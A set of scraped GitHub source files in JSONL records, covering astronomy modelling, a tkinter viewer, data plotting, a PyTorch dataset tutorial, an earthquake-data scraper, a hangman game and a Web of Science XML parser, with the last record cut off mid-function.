os.path.join(path,\\\n os.path.split(self.abundance_filename)[1])\n else:\n afn = self.abundance_filename\n dd['ABUNDANCE_FILENAME'] = '\"{}\"'.format(afn)\n\n if self.set_keyword_change_abundance:\n dd['SET_KEYWORD_CHANGE_ABUNDANCE'] \\\n = self.set_keyword_change_abundance\n if not path is None:\n cffn = os.path.join(path,\\\n os.path.split(self.change_fraction_filename)[1])\n else:\n cffn = self.change_fraction_filename\n dd['CHANGE_FRACTION_FILENAME'] = '\"{}\"'.format(cffn)\n\n if self.set_keyword_change_temperature:\n dd['SET_KEYWORD_CHANGE_TEMPERATURE'] \\\n = self.set_keyword_change_temperature\n if not path is None:\n tfn = os.path.join(path,\\\n os.path.split(self.new_temperature_filename)[1])\n else:\n tfn = self.new_temperature_filename\n dd['NEW_TEMPERATURE_FILENAME'] = '\"{}\"'.format(tfn)\n\n if self.starfile:\n dd['USE_STARFILE'] = 1\n if not path is None:\n sfn = os.path.join(path,os.path.split(self.starfile)[1])\n \n else:\n sfn = self.starfile\n dd['STARFILE'] = '\"{}\"'.format(sfn)\n \n if int(in_progress):\n dd['IN_PROGRESS'] = 1 \n\n return dd \n \n\n\n def makeMlineFilename(self,number='*',include_path=0):\n \n '''\n Return an mline filename for this object.\n \n @keyword number: the number in the filename (ml*, ml1, ml2, ml3. Hence \n can be *, 1, 2, 3)\n \n (default: '*')\n @type number: string\n @keyword include_path: Include the full filepath.\n \n (default: 0) \n @type include_path: bool\n \n @return: The sphinx filename for this transition\n @rtype: string\n \n '''\n \n try:\n number = str(int(number))\n except ValueError:\n number = str(number)\n \n fn = 'ml{}{}_{}.dat'.format(number,self.getModelId(),self.molecule)\n if include_path: \n fn = os.path.join(cc.path.gastronoom,self.path_gastronoom,'models',\\\n self.getModelId(),fn)\n \n return fn\n\n\n\n def readMline(self):\n \n '''\n Read the mline output if the model id is valid. \n \n The mline output is available in the MlineReader object mline, as a \n property of Molecule().\n \n '''\n\n if self.mline is None and self.getModelId():\n fn = self.makeMlineFilename(include_path=1)\n self.mline = MlineReader.MlineReader(fn)\n \n\n\n def setModelId(self,model_id):\n \n '''\n Set a model_id for the molecule, which identifies model_id for MLINE!\n \n @param model_id: The model_d to be associated with this molecule\n @type model_id: string\n \n '''\n \n self.__model_id = model_id\n \n\n\n def makeLabel(self):\n \n '''\n Return a short-hand label for this particular molecule, \n taken from the molecule.dat file.\n \n @return: The label associated with this molecule\n @rtype: string\n \n '''\n \n return '\\ {}\\ '.format(self.molecule_plot) \n \n\n\n def getModelId(self):\n \n '''\n Return the model_id associated with this molecule. None if not yet set.\n \n @return: the model id is returned.\n @rtype: string\n \n '''\n \n return self.__model_id\n \n\n\n def isMolecule(self):\n \n '''\n Return True to help the codes know that this is a molecule \n and not a transition.\n \n @return: True if molecule or False if transition\n @rtype: bool\n \n '''\n \n return True\n \n\n\n def getAbunFactor(self):\n \n '''\n Return the abundance factor of the molecule, with respect to its main \n isotope/ortho version.\n \n '''\n \n raw_factors = DataIO.getInputData(keyword='ABUN_FACTOR',\\\n filename='Molecule.dat',\\\n rindex=self.molecule_index)\n factors = [factor == '1' and 1 or float(getattr(self,factor.lower())) \n for factor in raw_factors.split('*')]\n #-- abun_factor should only take into account isotope/OPR factors\n #if float(self.enhance_abundance_factor): \n # factors.append(float(self.enhance_abundance_factor))\n total_factor = 1\n while factors:\n total_factor *= factors.pop()\n return total_factor\n\n\n\n def isWater(self):\n \n '''\n Is this molecule a water molecule?\n \n (ortho, para, isotopologue thereof included)\n \n @return: True or False\n @rtype: bool\n \n '''\n \n return self.molecule in ['1H1H16O','p1H1H16O','1H1H17O',\\\n 'p1H1H17O','1H1H18O','p1H1H18O']","repo_name":"IvS-KULeuven/ComboCode","sub_path":"cc/modeling/objects/Molecule.py","file_name":"Molecule.py","file_ext":"py","file_size_in_byte":32304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"28497048899","text":"from tkinter import *\nfrom tkinter import ttk\n\nfullText=[]\n\ninFile=open(\"sabato.txt\", \"r\", encoding=\"UTF-8\")\nfor line in inFile:\n fullText.append(line)\n\n# Titolo del testo\n\ntitle = fullText[0][0].upper() + fullText[0][1:].lower()\n\n#\n\nif fullText[1].strip() == \"\":\n fullText.pop(1)\n\nfullText.pop(0)\n\n\nroot = Tk()\nroot.title(title)\nroot.geometry(\"+500+200\")\n\nfullTextVar = StringVar(value=fullText)\n\ntextDisplay = Listbox(root, listvariable=fullTextVar, width=50, height=25)\ntextDisplay.pack(side=LEFT, fill=BOTH)\n\nscrollBar = ttk.Scrollbar(root, orient=\"vertical\", command=textDisplay.yview)\nscrollBar.pack(side=RIGHT, fill=Y)\n\ntextDisplay[\"yscrollcommand\"] = scrollBar.set\n\n\nroot.mainloop()\n","repo_name":"Samu-Amy/Poli-Info-Lab","sub_path":"Lab_3/Es3.py","file_name":"Es3.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12162403188","text":"import matplotlib.pyplot as plt\nimport matplotlib.ticker as pltticker\n\ninp = open(\"united.csv\", \"r\")\n\ndata = [[float(pole) for pole in line.split(\",\")] for line in list(inp)]\n\ninp.close()\n\n#data = [line for line in data if 1310000 < line[0] < 1430000]\n\ntime = [line[0] / 1000 for line in data]\nheight = [line[10] for line in data]\nticks = [line[9] for line in data]\n\ndelta = 46\nstart_t = 0\nfor i in range(len(data)):\n if time[i] - time[start_t] >= delta:\n stop_t = i\n break\n \nradiation = [0] * stop_t\n\nwhile stop_t < len(data):\n while time[stop_t] - time[start_t] > delta:\n start_t += 1\n radiation.append(ticks[stop_t] - ticks[start_t])\n stop_t += 1\n \nbegin = end = 0\nfor i in range(len(data)):\n begin = i\n if time[i] > 1310: \n break\nfor i in range(len(data)):\n end = i\n if time[i] > 1430: \n break \n\nfig = plt.figure(figsize=(16, 9))\n\n#---------------------------------\nax = fig.add_subplot(211)\n\nax.plot(time[begin:end], height[begin:end], label=\"GPS\", linewidth=2)\n\noneticker = pltticker.MultipleLocator(2)\ntwoticker = pltticker.MultipleLocator(25)\nax.xaxis.set_minor_locator(oneticker)\nax.yaxis.set_minor_locator(twoticker)\n\nax.grid(True, which=\"major\", alpha=0.5)\nax.grid(True, which=\"minor\", alpha=0.2)\n\nax.legend()\n\nax.set_ylabel(\"Высота над уровнем\\nморя, м\")\n\n#---------------------------------\nax = fig.add_subplot(212)\n\nax.plot(time[begin:end], radiation[begin:end], \"orange\", linewidth=2, label=\"GEIGER\")\n\noneticker = pltticker.MultipleLocator(2)\ntwoticker = pltticker.MultipleLocator(1)\nax.xaxis.set_minor_locator(oneticker)\nax.yaxis.set_minor_locator(twoticker)\n\nax.grid(True, which=\"major\", alpha=0.5)\nax.grid(True, which=\"minor\", alpha=0.2)\n\nax.legend()\n\nax.set_ylabel(\"Радиационный\\nфон, мкР/ч\")\nax.set_xlabel(\"Время, с\")\n\n\nfig.tight_layout()\n\nfig.savefig(\"radiation_big.png\", dpi=500)\n\n\n\n","repo_name":"Gravifarsh/Results2018","sub_path":"radiation_plot.py","file_name":"radiation_plot.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13600469119","text":"import math\r\n\r\nimport torch\r\nfrom torch.utils.data import Dataset, DataLoader # 导入数据加载包\r\n\r\n# 数据集来源: http://archive.ics.uci.edu/ml/datasets/SMS+Spam+Collection\r\ndata_path = \"./SMSSpamCollection\" # 保存的数据来源路径\r\n\r\n\r\n# 完成数据集类:\r\nclass SMSS_dataset(Dataset): # 继承Dataset父类\r\n def __init__(self): # 构造函数, 直接执行\r\n # 初始化每个对象都有一个lines对象属性\r\n # 这里就是将数据文件读取进来, 这里需要根据数据集的特点来自定义\r\n self.lines = open(data_path, 'r', encoding=\"utf-8\").readlines() # 获取所有行\r\n # [line, line, ...]\r\n\r\n # 这就是容器类 -> 魔术方法:\r\n # 凡是在类中定义了这个__getitem__ 方法,那么它的实例对象(假定为p),可以像这样\r\n # p[key] 取值,当实例对象做p[key] 运算时,会调用类中的方法__getitem__。\r\n def __getitem__(self, key): # 根据索引获取数据\r\n cur_line = self.lines[key].strip() # 去除空格, 和换行\r\n # 切分成label和feature\r\n label = cur_line[0:4].strip() # 标签\r\n content = cur_line[4:].strip() # 内容\r\n return label, content # 返回\r\n\r\n def __len__(self): # 返回数据的总数量\r\n return len(self.lines)\r\n\r\n\r\n# 练习:\r\n# class s\r\n\r\n\r\ndef test01():\r\n \"\"\"\r\n 使用继承dataset() 子类. 生成数据集类\r\n\r\n :return:\r\n \"\"\"\r\n my_dataset = SMSS_dataset() # 实例化对象\r\n # 这里就已经触发了init方法, 将数据读取进来\r\n print(my_dataset[2]) # 直接调用回调函数, 返回取回的值\r\n print(len(my_dataset)) #\r\n\r\n # 我们也可以进行遍历:\r\n for i in range(len(my_dataset)):\r\n print(my_dataset[i])\r\n\r\n\r\ndef test02():\r\n # 实例化数据集对象\r\n data_set = SMSS_dataset()\r\n\r\n dataloader = DataLoader( # batch批处理. 返回批处理队列.\r\n dataset=data_set, # 数据集对象\r\n batch_size=2, # batch, 分组大小\r\n shuffle=True, # 是否打乱\r\n num_workers=2, # 线程数\r\n # drop_last=True # 是否删除最后一个batch\r\n # 如果最后, dataloader中最后一个batch_可能不是完整的, 那么此时进行训练, 就会出现错误.\r\n # 所以我们可以加一个参数: drop_last: 就是把最后一个batch删掉, 以确保,batch的完整性\r\n )\r\n # 返回的数据:\r\n # [(,...), (,...)] # 根据你的batch_size有关\r\n\r\n for dl in dataloader: #\r\n print(dl)\r\n # [('ham', 'spam'), ('Your opinion about me? 1. Over 2. Jada 3. Kusruthi 4. Lovable 5. Silent 6. Spl character 7. Not matured 8. Stylish 9. Simple Pls reply..', 'Your free ringtone is waiting to be collected. Simply text the password \"MIX\" to 85069 to verify. Get Usher and Britney. FML, PO Box 5249, MK17 92H. 450Ppw 16')]\r\n break\r\n\r\n # 我们经常会使用 enumerate, 就是, 将可迭代对象与index共同返回.\r\n for index, (label, content) in enumerate(dataloader):\r\n print(index, label, content) #\r\n break\r\n\r\n print(len(data_set)) # 5574\r\n print(len(dataloader)) # 2787\r\n # 如果除不开, 就像上取整\r\n print(math.ceil(len(data_set)/2))\r\n\r\n\r\ndef test03():\r\n pass\r\n #\r\n\r\n# 测试:\r\nif __name__ == '__main__':\r\n test02()\r\n","repo_name":"WakingHours-GitHub/PyTorch","sub_path":"2_PyTorch基础/6_数据加载.py","file_name":"6_数据加载.py","file_ext":"py","file_size_in_byte":3348,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"17834233220","text":"# Merge two sorted list\n\n# In place Naive\n\ndef merge_test(l1,l2,m,n):\n\n for i in range(n):\n l1[i+m] = l2[i]\n return l1.sort()\n\n\ndef merged_sorted_array(list1, list2):\n m = len(list1)\n n = len(list2)\n\n while m > 0 and n > 0:\n if list1[m - 1] > list2[n - 1]:\n list1[m + n - 1] = list2[m - 1]\n m -= 1\n else:\n list1[m + n - 1] = list2[n - 1]\n n -= 1\n while n > 0:\n list1[n - 1] = list2[n - 1]\n n -= 1\n\n","repo_name":"manojkumar1053/NOV17ALGOX","sub_path":"em/2021/ONS.py","file_name":"ONS.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"589676219","text":"import message\nfrom struct import *\n\nTN_LEN = 32\nTYPE_LEN = 1\nHASH_LEN = 40\nORIG_LEN_LEN = 1\nSTART_LEN = 256\nEND_LEN = 256\n\nTN_OFFSET = 0\nTYPE_OFFSET = 32\nHASH_OFFSET = 33\nORIG_LEN_OFFSET = 73\nSTART_OFFSET = 74\nEND_OFFSET = 330\n\n\n\nclass Encoder_decoder():\n pass\n\n\n def decode(self, encoded_msg):\n team_name, type, hash, length = unpack('32sc40sc',encoded_msg[:74])\n team_name = team_name.decode('utf-8').strip()\n type = int.from_bytes(type, \"big\")\n hash = hash.decode('utf-8')\n length = int.from_bytes(length, \"big\")\n start, end = unpack('{0}s{0}s'.format(length),encoded_msg[74:])\n start = start.decode()\n end = end.decode()\n decoded_msg = message.Message(team_name, type, hash, length, start, end)\n return decoded_msg\n\n def encode(self, message):\n team_name = message.team_name.ljust(32).encode()\n type = bytes([message.type])\n hash = message.hash.encode()\n length = bytes([message.length])\n start = message.start.encode()\n end = message.end.encode()\n _format = '32sc40sc{0}s{0}s'.format(message.length)\n encoded_msg = pack(_format, team_name, type, hash, length, start, end)\n return encoded_msg","repo_name":"chendoy/intro-to-nets-hackaton","sub_path":"encoder_decoder.py","file_name":"encoder_decoder.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13219091675","text":"import os\n\nimport pandas as pd\n\n\nclass DatasetRepository:\n def __init__(self):\n self.__dataset_path = os.getenv(\"DATASET_PATH\")\n\n def iterate_over_movies(self):\n dataset = pd.read_csv(self.__dataset_path)\n for index, row in dataset.iterrows():\n yield {\n \"movieId\": row[\"Rank\"],\n \"name\": row[\"Title\"],\n \"gender\": row[\"Genre\"].split(','),\n \"director\": row[\"Director\"],\n \"description\": row[\"Description\"],\n }\n","repo_name":"victoramsantos/netflix-backend","sub_path":"movie-scraper/src/repository/DatasetRepository.py","file_name":"DatasetRepository.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"53"}
+{"seq_id":"11432617057","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 15 16:22:54 2016\n@author: wpk\ndownload CWB_EQ event table , and update to DataBase\nhttp://www.cwb.gov.tw/V7e/modules/MOD_EC_Home.htm\n\"\"\"\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\nimport requests\nfrom html_table_parser import parser_functions as parse\nimport pandas as pd\n\nfrom pandas.io import sql\nimport pymysql\npymysql.install_as_MySQLdb()\nimport MySQLdb\n\n\n\n\ndef parse_table(url):\n\n url = 'http://www.cwb.gov.tw/V7e/modules/MOD_EC_Home.htm'\n r = requests.get(url)\n soup = BeautifulSoup(r.text, \"lxml\")\n# soup . prettify()\n table = soup.find('table')\n data = parse.make2d(table)\n# col = data[0]\n col = ['Number', 'DateTime', 'LAT', 'LON', 'Mag', 'Depth', 'Location', 'url']\n df = pd.DataFrame(data[1:], columns=col)\n return df\n\n\n\ndef eq2db():\n url = 'http://www.cwb.gov.tw/V7e/modules/MOD_EC_Home.htm'\n #url = \"http://www.cwb.gov.tw/V7/earthquake/rtd_eq.htm\"\n df = parse_table(url)\n\n now = datetime.now()\n nowyear = now.strftime(\"%Y\")\n eqtime = []\n for row in df[\"DateTime\"]: eqtime .append( nowyear +'/'+ row )\n df2 = df\n df2[\"DateTime\"] = eqtime\n\n db = MySQLdb.connect(host = \"140.109.80.146\" ,\n user = \"****\" ,\n passwd = \"****\",\n db=\"IES\")\n\n\n sql.to_sql(df2, con=db, name='cwb_eq',\n if_exists='append',\n index = None,\n flavor='mysql')\n\n print(\"writing data to DB.....\")\n\n\n\n\n Igonre_same = \"CREATE TABLE tmp AS SELECT DISTINCT * FROM cwb_eq;\"\\\n \"DROP TABLE cwb_eq;\"\\\n \"RENAME TABLE tmp TO cwb_eq;\"\n\n# Alter = \"ALTER IGNORE TABLE cwb_eq\"\\\n# \"ADD UNIQUE INDEX (LAT, LON, Mag, Depth);\"\n sql.execute(Igonre_same, db)\n\n\n\neq2db()\n","repo_name":"ponggung/ies.source","sub_path":"data_cwb_eq.py","file_name":"data_cwb_eq.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72087853607","text":"#Author:\tGábor Tóth-Molnár\n\nimport tkinter as tk\nfrom random import randint\nfrom tkinter import messagebox\n\nversion=\"v1.1\"\nszoFile=open(\"szolista.txt\",'r',encoding='utf-8')\nwordFile=open(\"words.txt\",'r',encoding='utf-8')\ncountHu=4026\ncountEn=2000\n\nakasztofa=\"Akasztófa ™.G\"\nhangman=\"Hangman ™.G\"\nrootlabtextHu=\"Karakterek száma\"\nrootlabtextEn=\"Number of characters\"\n\ndef keypress(event):\n global lang\n if event.char not in (\"a\",\"á\",\"b\",\"c\",\"d\",\"e\",\"é\",\"f\",\"g\",\"h\",\"i\",\"í\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"ó\",\"ö\",\"ő\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"ú\",\"ü\",\"ű\",\"v\",\"w\",\"x\",\"y\",\"z\",\"-\"):\n if event.keycode not in (8,22,23,36): #backspace és Tab keycode-ja. Ha kijívatja a rossz szöveget, akkor nem dob hibát\n if lang.get()==0:\n messagebox.showinfo(\"Hahó!\", \"Hibás karaktert írtál!\")\n else:\n messagebox.showinfo(\"Hey!\", \"Wrong character!\")\n\n\ndef updateroot(*args):\n global lang,root,rootLab\n if lang.get()==1:\n root.title(hangman)\n rootLab.configure(text=rootlabtextEn)\n else:\n root.title(akasztofa)\n rootLab.configure(text=rootlabtextHu)\n\ndef checkword( word, canvas,guess):\n global currentstatus, labeltext, gameL, labeltextReal, wronggues,guessB, guessE, wrongtext,wrongL,gamewindow\n wordLi=list(str(word))\n position=[]\n for i in range(0,len(wordLi)):\n if wordLi[i]==guess.upper():\n position.append(i)\n if position==[]:\n wrongtext.append(str(guess))\n if wronggues==0:\n canvas.create_line(120, 200, 120, 50, fill=\"red\", width=2)\n wronggues+=1\n elif wronggues==1:\n canvas.create_line(120, 50, 190, 50, fill=\"red\", width=2)\n wronggues+=1\n elif wronggues==2:\n canvas.create_line(120, 80, 150, 50, fill=\"red\", width=2)\n wronggues+=1\n elif wronggues == 3:\n canvas.create_line(190, 50, 190, 80, fill=\"red\", width=2)\n wronggues += 1\n elif wronggues == 4:\n canvas.create_oval(175, 80, 205, 100, fill=\"red\", width=2)\n wronggues += 1\n elif wronggues == 5:\n canvas.create_line(190, 100, 190, 150, fill=\"red\", width=2)\n wronggues += 1\n elif wronggues == 6:\n canvas.create_line(190, 120, 182, 150, fill=\"red\", width=2)\n wronggues += 1\n elif wronggues == 7:\n canvas.create_line(190, 120, 197, 150, fill=\"red\", width=2)\n wronggues += 1\n elif wronggues == 8:\n canvas.create_line(190, 150, 197, 180, fill=\"red\", width=2)\n wronggues += 1\n elif wronggues == 9:\n canvas.create_line(190, 150, 182, 180, fill=\"red\", width=2)\n wronggues += 1\n if lang.get()==0:\n messagebox.showinfo(\"\",\"Vesztettél!\\n\"+str(word)+\" volt a megoldás\")\n else:\n messagebox.showinfo(\"\",\"You've lost!\\nSolution was: \"+str(word))\n guessB.configure(state=\"disabled\")\n gamewindow.destroy()\n\n\n for j in range(0,len(currentstatus)):\n if j in position:\n if currentstatus[j*2]==\"_\":\n currentstatus[j*2]=guess\n labeltext=currentstatus\n check=\"\"\n for f in word:\n check+=f\n check+=\" \"\n labeltextReal=\"\"\n for d in range(0, len(labeltext)):\n labeltextReal+=str(labeltext[d])\n try:\n gameL.config(text=labeltextReal)\n wrongL.config(text=wrongtext)\n except Exception:\n ()\n if labeltext==list(check):\n if lang.get()==0:\n messagebox.showinfo(\"\",\"Gratulálok!\")\n else:\n messagebox.showinfo(\"\", \"Congratulations!\")\n guessB.configure(state=\"disabled\")\n gamewindow.destroy()\n try:\n guessE.delete(0, \"end\")\n except Exception:\n ()\n\n\ndef newgame(charNr):\n global lang,szoFile,wordFile, countHu,countEn, currentstatus, labeltext, gameL, labeltextReal, wronggues,guessE,wrongtext, wrongL,gamewindow\n buttontext = \"\"\n wronggues=0\n currentstatus = list()\n labeltextReal=\"\"\n wrongtext=[]\n for h in range(0,charNr):\n labeltextReal+=\"_\"\n labeltextReal += \" \"\n for ch in range(0,charNr):\n currentstatus+=\"_ \"\n if lang.get()==0:\n until=randint(0,8000)\n wordcounts=0\n linecounts=0\n Maxlines=countHu\n szoFile.seek(0)\n item=szoFile.readline().splitlines()[0]\n while item:\n linecounts+=1\n if linecounts==Maxlines-10:\n szoFile.seek(0)\n linecounts=0\n if len(item)==charNr:\n wordcounts+=1\n if wordcounts==until:\n #print(item.upper())\n break\n item=szoFile.readline().splitlines()[0]\n if lang.get()==1:\n until=randint(0,8000)\n wordcounts=0\n linecounts=0\n Maxlines=countEn\n wordFile.seek(0)\n item=wordFile.readline().splitlines()[0]\n while item:\n linecounts+=1\n if linecounts==Maxlines-10:\n wordFile.seek(0)\n linecounts=0\n if len(item)==charNr:\n wordcounts+=1\n if wordcounts==until:\n print(item.upper())\n break\n item=wordFile.readline().splitlines()[0]\n target = item.upper()\n gamewindow=tk.Toplevel()\n if lang.get()==0:\n buttontext=\"Tipp\"\n else:\n buttontext=\"Guess\"\n gamewindow.geometry('{}x{}'.format(500, 530))\n global guessB\n guess=tk.StringVar()\n guessFR=tk.Frame(gamewindow, bd=1,relief=\"solid\")\n guessFR.pack(pady=20)\n help=\"\"\n if lang.get()==0:\n help=\"Írd ide a betűt, majd kattints a gombra vagy nyomd meg ez Enter-t!\"\n else:\n help=\"Type the letter here, then click the button below or press Return key.\"\n tk.Label(guessFR,text=help).pack()\n guessE=tk.Entry(guessFR,textvariable=guess,width=2, font=\"Helvetica 35\")\n guessE.pack(ipady=10)\n guessB=tk.Button(guessFR,text=buttontext,command=lambda: checkword(target,can, guessE.get().upper()), width=5 )\n guessB.pack(anchor=\"s\",fill=\"y\")\n drawFR=tk.Frame(gamewindow,bd=2,relief=\"groove\")\n drawFR.pack()\n gameL=tk.Label(drawFR, text=labeltextReal, font=(\"Helvetica\", 16))\n gameL.pack()\n can=tk.Canvas(drawFR,bg=\"lightgreen\")\n can.pack()\n wrongL=tk.Label(gamewindow, text=wrongtext,font=(\"Helvetica\", 16))\n wrongL.pack()\n guessE.bind(\"\",keypress)\n guessE.bind(\"\",lambda x: checkword(target,can, guessE.get().upper()))\n vL = tk.Label(gamewindow, text=version)\n vL.pack(ipady=50, anchor=\"sw\")\n\n\n\n\n\n\nroot=tk.Tk()\nlang=tk.IntVar()\nlang.set(0) #hungarian\nroot.title(akasztofa)\nroot.geometry('{}x{}'.format(360, 210))\nlangFrame=tk.Frame(root,height=2, bd=1, relief=\"sunken\")\nlangFrame.pack(pady=20)\nlangB1=tk.Radiobutton(langFrame, text=\"Magyar\", variable=lang, value=0, command=updateroot)\nlangB1.pack()\nlangB2=tk.Radiobutton(langFrame, text=\"English\", variable=lang, value=1, command=updateroot)\nlangB2.pack()\nrootLab=tk.Label(root,text=rootlabtextHu)\nrootLab.pack()\ncharButtF=tk.Frame(root, height=3, bd=1,relief=\"solid\")\ncharButtF.pack()\nb0=tk.Button(charButtF, text=\"3\", command=lambda: newgame(3), width=3)\nb1=tk.Button(charButtF, text=\"4\", command=lambda: newgame(4), width=3)\nb2=tk.Button(charButtF, text=\"5\", command=lambda: newgame(5), width=3)\nb3=tk.Button(charButtF, text=\"6\", command=lambda: newgame(6), width=3)\nb4=tk.Button(charButtF, text=\"7\", command=lambda: newgame(7), width=3)\nb5=tk.Button(charButtF, text=\"8\", command=lambda: newgame(8), width=3)\nb6=tk.Button(charButtF, text=\"9\", command=lambda: newgame(9), width=3)\nb7=tk.Button(charButtF, text=\"10\", command=lambda: newgame(10), width=3)\nb8=tk.Button(charButtF, text=\"11\", command=lambda: newgame(11), width=3)\nb9=tk.Button(charButtF, text=\"12\", command=lambda: newgame(12), width=3)\nb10=tk.Button(charButtF, text=\"13\", command=lambda: newgame(13), width=3)\n\n\nMODES=[(3,b0),(4,b1),(5,b2),(6,b3),(7,b4),(8,b5),(9,b6),(10,b7),(11,b8),(12,b9),(13,b10)]\nrow=1\ncol=0\nfor i,b in MODES:\n if (i-3)%4==0:\n row+=1\n col=0\n b.grid(row=row - 1, column=col)\n col+=1\n\nvL=tk.Label(root, text=version)\nvL.pack(ipady=50,anchor=\"sw\")\nroot.mainloop()","repo_name":"tmg1991/Python","sub_path":"Hangman/Hangman_v1.1.py","file_name":"Hangman_v1.1.py","file_ext":"py","file_size_in_byte":8367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20555929531","text":"def add(root, id, tcp_data):\n dic = {}\n\n dic[\"_id\"] = id\n dic[\"Abstract\"] = tcp_data.loc[id].Abstract.replace(\"|\",\",\")\n dic[\"Endorsement\"] = tcp_data.loc[id].Endorse\n dic[\"Stance\"] = getStanceByEndorse(tcp_data.loc[id].Endorse)\n dic[\"Category\"] = tcp_data.loc[id].Cat\n dic[\"Title\"] = tcp_data.loc[id].Title.replace(\"|\",\",\")\n dic[\"Publication_year\"] = tcp_data.loc[id].Year\n\n dic[\"Language\"] = getLanguage(root)\n dic[\"References\"] = getRefs(root)\n dic[\"Organization_info\"] = getOrganizationInfo(root)\n dic[\"Keywords\"] = getKeywords(root)\n dic[\"Headers\"] = getHeaders(root)\n dic[\"Sub_headers\"] = getSubHeader(root)\n dic[\"Subjects\"] = getSubjects(root)\n dic[\"Publisher_info\"] = getPublisherInfo(root)\n dic[\"Publication_month\"] = getPublicationInfo(root, \"pubmonth\")\n dic[\"Publication_volume\"] = getPublicationInfo(root, \"vol\")\n dic[\"Publication_type\"] = getPublicationInfo(root, \"pubtype\")\n dic[\"Publication_issue\"] = getPublicationInfo(root, \"issue\")\n dic[\"Publication_length\"] = getPublicationLength(root)\n dic[\"Authors\"] = getAuthors(root)\n dic[\"Document_type\"] = getDocumentType(root)\n dic[\"WOS\"] = getWOS(root)\n\n return dic\n\ndef getStanceByEndorse(endorse):\n if endorse <= 3:\n return \"FAVOR\"\n elif endorse >= 5:\n return \"AGAINST\"\n else:\n return \"NONE\"\n\ndef getLanguage(root):\n l = root.findall(\".REC/static_data/fullrecord_metadata/languages/\")\n try:\n return l[0].text\n except:\n #print(\"No 'language' found\")\n return None\n\ndef getRefs(root):\n l = root.findall(\".REC/static_data/fullrecord_metadata/refs\")\n try:\n return l[0].attrib['count']\n except:\n #print(\"No 'refs' found\")\n return None\n\ndef getAddressSpec(list, tryNumber):\n for l in list:\n if l.tag == \"country\":\n country = l.text\n elif l.tag == \"city\":\n city = l.text\n elif l.tag == \"street\":\n street = l.text\n elif l.tag == \"organizations\":\n if len(l) > 1:\n org = l[1].text\n else:\n org = l[0].text\n individual = None\n try:\n individual = [country, city]\n individual = [country, city, org]\n individual = [country, city, street, org]\n return individual\n except:\n if individual is None:\n print(\"Organization_spec was 'None' with try {} out of 3\".format(tryNumber))\n return individual\n\n\ndef getOrganizationInfo(root):\n orgs = []\n lis = root.findall(\".REC/static_data/fullrecord_metadata/addresses/address_name/\")\n lis2 = root.findall(\"./REC/static_data/fullrecord_metadata/reprint_addresses/address_name/address_spec/\")\n lis3 = root.findall(\".REC/static_data/item/reprint_contact/address_spec/\")\n if len(lis) > 0:\n for li in lis:\n ret = getAddressSpec(li, 1)\n if ret is not None:\n orgs.append(ret)\n elif len(lis2) > 0:\n ret = getAddressSpec(lis2, 2)\n if ret is not None:\n orgs.append(ret)\n elif len(lis3) > 0:\n ret = getAddressSpec(lis3, 3)\n if ret is not None:\n orgs.append(ret)\n\n if len(orgs) == 0:\n #print(\"No 'organizations' found\")\n return None\n else:\n return orgs\n\ndef getKeywords(root):\n lis = root.findall(\".REC/static_data/fullrecord_metadata/keywords/\")\n lis2 = root.findall(\".REC/static_data/item/keywords_plus/\")\n if len(lis) > 0:\n return [i.text for i in lis]\n elif len(lis2) > 0:\n return [i.text for i in lis2]\n else:\n #print(\"No 'keywords' found\")\n return None\n\ndef getHeaders(root):\n lis = root.findall(\".REC/static_data/fullrecord_metadata/category_info/headings/\")\n if len(lis) > 0:\n return [l.text for l in lis]\n else:\n #print(\"No 'headers' found\")\n return None\n\ndef getSubHeader(root):\n lis = root.findall(\".REC/static_data/fullrecord_metadata/category_info/subheadings/\")\n if len(lis) > 0:\n return [l.text for l in lis]\n else:\n #print(\"No 'Sub headers' found\")\n return None\n\ndef getSubjects(root):\n lis = root.findall(\".REC/static_data/fullrecord_metadata/category_info/subjects/\")\n if len(lis) > 0:\n return [l.text for l in lis]\n else:\n #print(\"No subjects found\")\n return None\n\ndef getPublisherInfo(root):\n address = root.findall(\".REC/static_data/summary/publishers/publisher/address_spec/full_address\")[0].text\n city = root.findall(\".REC/static_data/summary/publishers/publisher/address_spec/city\")[0].text\n name = root.findall(\".REC/static_data/summary/publishers/publisher/names/name/full_name\")[0].text\n try:\n pub_info = [i.strip() for i in address.split(\",\")]\n if len(city) > 0:\n pub_info[1] = city\n pub_info.append(name)\n\n if len(pub_info) > 0:\n return pub_info.reverse()\n except:\n #print(\"No publisher info found\")\n return None\n\ndef getPublicationInfo(root, key):\n dic = root.findall(\".REC/static_data/summary/pub_info\")[0].attrib\n try:\n return dic[key]\n except:\n #print(\"No publication info with key '{}' found\".format(key))\n return None\n\ndef getPublicationLength(root):\n ret = root.findall(\".REC/static_data/summary/pub_info/\")[0].attrib['page_count']\n if len(ret) == 0:\n #print(\"No 'page count' found\")\n return None\n else:\n return ret\n\ndef getAuthors(root):\n lis = root.findall(\".REC/static_data/summary/names/\")\n author = []\n for li in lis:\n for l in li:\n if l.tag == \"wos_standard\":\n author.append(l.text)\n if len(author) > 0:\n return author\n else:\n #print(\"No 'author' found\")\n return None\n\ndef getDocumentType(root):\n ret = root.findall(\".REC/static_data/summary/doctypes/doctype\")[0].text\n if len(ret) == 0:\n #print(\"No 'document type' found\")\n return None\n else:\n return ret\n\ndef 